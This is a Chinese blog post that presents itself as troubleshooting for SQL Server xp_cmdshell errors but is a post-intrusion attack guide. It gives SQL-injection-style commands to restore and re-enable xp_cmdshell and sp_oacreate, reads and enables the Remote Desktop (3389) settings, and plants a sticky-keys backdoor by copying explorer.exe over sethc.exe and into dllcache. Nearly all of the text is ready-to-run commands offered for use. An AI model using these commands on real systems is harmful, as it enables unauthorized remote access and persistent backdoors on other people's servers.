關於master..xp_cmdshell’的幾個錯誤解決辦法

雅冰石發表於2014-01-22

錯誤一:Error Message:未能找到儲存過程 ‘master..xp_cmdshell’。

第一步先刪除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ‘xp_cmdshell’
伺服器: 訊息 3701,級別 11,狀態 5,行 1
第二步恢復:
dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
直接恢復,不管sp_addextendedproc是不是存在


錯誤二:修復“拒絕訪問”錯誤:
Net1
Dir net.exe /s /p

錯誤三:Error Message:SQL Server 阻止了對元件 ‘xp_cmdshell’ 的 過程 ‘sys.xp_cmdshell’ 的訪問,
因為此元件已作為此伺服器安全配置的一部分而被關閉。
系統管理員可以通過使用 sp_configure 啟用 ‘xp_cmdshell’。
有關啟用 ‘xp_cmdshell’ 的詳細資訊,請參閱 SQL Server 聯機叢書中的 “外圍應用配置器”。
修復方法:
;EXEC sp_configure ‘show advanced options’, 1 –
;RECONFIGURE WITH OVERRIDE –
;EXEC sp_configure ‘xp_cmdshell’, 1 –
;RECONFIGURE WITH OVERRIDE –
;EXEC sp_configure ‘show advanced options’, 0 –

錯誤四:Error Message:無法裝載 DLL xpweb70.dll 或該 DLL 所引用的某一 DLL。原因: 126(找不到指定的模組。)
修復方法:
SQLtools工具–檔案管理–C盤–尋找資料庫路徑–複製(c:\Program Files\Microsoft SQL Server\MSSQL\Binn\)xplog70.dl路徑
SQLtools工具–SQL命令–執行如下:
第一步.
exec sp_dropextendedproc ‘xp_cmdshell’
第二步
dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)
;EXEC sp_configure ‘show advanced options’, 0 –

錯誤五:Error Message:無法在庫 xpweb70.dll 中找到函式 xp_cmdshell。原因: 127(找不到指定的程式。)。
修復方法:
第一步
exec sp_dropextendedproc ‘xp_cmdshell’
第二步
dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)
;EXEC sp_configure ‘show advanced options’, 0 –

錯誤六:Message:在執行 xp_cmdshell 的過程中出錯。呼叫 ‘CreateProcess’ 失敗,錯誤程式碼: ’5′。
錯誤5是個系統提示的錯誤號,CreateProcess這個是建立執行緒的意思,這個錯誤產生和系統檔案cmd.exe有很大的關係,一種情況是cmd被刪除,一種是cmd的許可權被降低了.
SQL檢視終端埠及開放情況:
exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,'PortNumber’
好了,下面關鍵的地方了,要用到兩條sql指令,將系統的explorer檔案複製為系統的shift後門檔案,下面兩條語句為分別執行的。
這條語句將explorer.exe複製為sethc.exe
declare @o int exec sp_oacreate ‘scripting.filesystemobject’, @o out exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\explorer.exe’,'c:\windows\system32\sethc.exe’;
這條語句將sethc.exe複製到dllcache目錄下
declare @oo int exec sp_oacreate ‘scripting.filesystemobject’, @oo out exec sp_oamethod @oo, ‘copyfile’,null,’c:\windows\system32\sethc.exe’,'c:\windows\system32\dllcache\sethc.exe’;
另外這兩條語句使用到的sp_oacreate儲存過程需要使用到odsole70.dll這個檔案,所以這個檔案的存亡,關係到建立的成功與否。

錯誤七:出現3389無法連線的情況:
1.沒有開啟3389
2.終端埠被改變8888
3.內網
修復方法:
開3389:
Cmd 命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Sql命令
檢視3389埠
exec xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,'PortNumber’

相關文章